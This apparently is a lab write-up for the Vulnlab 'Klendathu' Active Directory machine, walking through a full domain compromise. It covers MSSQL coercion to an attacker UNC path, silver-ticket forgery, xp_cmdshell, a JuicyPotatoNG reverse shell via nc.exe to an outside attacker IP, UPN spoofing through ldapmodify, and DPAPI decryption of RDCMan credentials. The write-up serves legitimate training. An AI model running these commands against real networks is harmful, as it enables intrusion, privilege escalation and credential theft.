We have smb port open on SRV1 and DC1, NFS on the linux hosts so let's start enumerating the shares first
Enumerating NFS share
We get access denied on both of them, looking at nfs, we have /mnt/nfs_share
that can be mounted from our host
Mounting the folder with mount
sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares
There's a configuration file for a cisco switch, at the end there's a contact email which could be a domain user, which is a valid user
We can also see a cisco secret password which is a MD5 hashed password
This can be cracked with either hashcat or john
hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt --force
With these credentials we can list down the shares on both windows hosts and can read HomeDirs
on DC which is interesting
But these directories are not accessible with zim
Moving forward we can enumerate AD with bloodhound
python3 /opt/BloodHound.py/bloodhound.py -d 'KLENDATHU.VL' -u 'zim' -p 'password' -ns 10.10.189.69 -dc DC1.KLENDATHU.VL
This user belongs to Netadmins group but there's nothing beyond that bloodhound show us
Accessing MSSQL
We have MSSQL running on SRV1, so verifying these credentials can be used to login there
Here we can try to enable xp_cmdshell
, but it was not getting executed, similarly with xp_dirtree
as well
MSSQL Coerced Authentication
The reason behind this is probably that we are a guest user in the database,
Looking for any alternate functions that can allow us to query for UNC paths, there's a neat cheat sheet for coercion through mssql but most of them didn't work as they required administrative privileges or were blocked, xp_fileexist
was working tho but it wasn't able to perform coercion just showing if the file exists
Searching around for utilizing fileexists, there's another function sys.dm_os_file_exist
which we can cause coercion, even tho the functionality is the same but I am uncertain what major difference is there between the two
SELECT * FROM sys.dm_os_file_exists('\\10.8.0.136\test\')
The mssql service is running as RASCZAK user so what if we try to create a silver ticket and then access the service, we can convert the plain text into nthash with python and get the domain sid with rpcclient (or any other way we want)
For forging a silver ticket, ticketer.py
will be used to do that
ticketer.py -nthash hash -spn MSSQLSvc/SRV1.KLENDATHU.VL -domain KLENDATHU.VL -domain-sid S-1-5-21-641890747-1618203462-755025521 administrator
After using the forged ticket (silver ticket), we can see that the user we currently are is dbo
which is the database owner, so now we won't have any restrictions on running xp_cmdshell
Now transferring netcat to get a shell
## Escalating to Local AdminWe can perform local privilege escalating by abusing SeImpersonte
privilege through JuicyPotato-NG
JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Users/rasczak/nc.exe 10.8.0.136 2222 -e cmd.exe"
From here onwards there wasn't anything we could do as dumping lsass didn't returned any domain user's hash other than the local admin and machine account
## Spoofing domain users with GSSAPIGoing back to bloodhound, checking outbound control on RASCZAK , we have GenericWrite
and ForeChangePassword
on two domain users, rico
and ibanez
, with this ACL we can change the password using rpcclient
or net rpc
There's a research done by Ceri Coburn from Pen Test Partners, where linux servers joined to Active Directory have misconfiguration in the authentication mechanism where name-type, enterprise is used (NT_ENTERPRISE), if we have GenericWrite on a domain user, we can edit the userPrincipalName
attribute, this attribute is utilized by NT_ENTERPRISE
through which we can spoof domain users (this is explained quite well in the blog post). To abuse this we need to first identify the user that we'll spoof, there's a group named LINUX_ADMINS
with two members
Then adding userPrincpalName
to be any of the two users, for adding this attribute we can use ldapmodify
for that we need to create a ldif
file
dn: cn=rico,cn=users,dc=klendathu,dc=vl
changetype: modify
modify: userPrincipalName
userPrincipalName: flores
ldapmodify -H ldap://DC1.KLENDATHU.VL -a -x -D "CN=RASCZAK,CN=USERS,DC=KLENDATHU,DC=VL" -W -f ./modify_user.ldif
This attribute can be verified with ldapsearch
Transfer Rubeus on SRV1 and get TGT for flores with /princapltype:enterprise
Make sure to have GSSAPI authentication in /etc/ssh/sshd_config
and set the domain realm in /etc/krb5.conf
Convert the kirbi ticket to ccache and use it against ssh with -K
We can directly become root here as flores is a "linux admin", so just running sudo bash
will give us the root shell
root user's directory has a backup of domain controller with ntds.dit
, SAM
and SECURITY
file from the registry hive
But the passwords here have been reset so there's no point and parse the ntds file, the /tmp
directory has a ticket for svc_backup
account
This can be used just by transferring on our kali machine and export the ticket
svc_backup doesn't have any special ACL but the description does say about syncing data to user's directories
So going back at the enumeration stage where we were trying to access smb shares, there were some user's directories, with this user those directories are accessible
Here jnkeins.rdg
, is a file containing configuration settings for connecting to remote desktop sessions, this is configuration is for administrator
From chatgpt I generated a ps script to decrypt the password but it didn't worked due to how the password is encrypted
Add-Type -AssemblyName System.Security
function Unprotect-RDCManPassword {
param (
[Parameter(Mandatory=$true)]
[string]$encryptedString
)
try {
# Convert the base64 string to a byte array
$bytes = [Convert]::FromBase64String($encryptedString)
# Decrypt the byte array using DPAPI
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
# Convert the decrypted byte array back to a string
$decryptedString = [System.Text.Encoding]::Unicode.GetString($decryptedBytes)
return $decryptedString
} catch {
Write-Error "Failed to decrypt password: $_"
}
}
$encryptedPassword = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABS0Gmx4U2k+bLUYfRpOl6wAAAAACAAAAAAADZgAAwAAAABAAAAAqvWFuXTLeCWvFNnkKjNDcAAAAAASAAACgAAAAEAAAAHHnv4NI9rTi06sCfSEy5hsoAAAAtCdIUjQfzQiJj363pO1RW/XSIlS/pMf/DBn3EHb8xEha6u1f/CMguhQAAACVsld41QgTZXMtLDfgrswQaShAxQ=="
$decryptedPassword = Unprotect-RDCManPassword -encryptedString $encryptedPassword
Write-Output "Decrypted Password: $decryptedPassword"
So again taking a step back in jenkins's home directory, there was AppData_Roaming_Backup.zip
, after extracting the archive, the path to master keys is in ./AppData/Roaming/Microsoft/Protect
Using ntdissector
, domain backup keys can be extracted, there will be a file named secrets.json
contaning pvk value encoded in base64
We'll need this private key along with the path where the master keys are located and the SID of jenkins user (which can retrieved either by rpcclient, lookupsid), I'll grab the SID from bloodhound
From DIANA Windows Credential Toolkit
, there's a script diana-msrdcmandec.py
for decrpyting rdcman credentials, we have all the parameters for decrypting the password from rdg file
python3 ./script.py ./jenkins.rdg --masterkey /home/arz/Vulnlabs/Klendathu/AppData/Roaming/Microsoft/Protect/S-1-5-21-641890747-1618203462-755025521-1110 --sid S-1-5-21-641890747-1618203462-755025521-1110 -k ./key.pvk
Having administrator's password, we can just login through WinRM and get full access on the domain
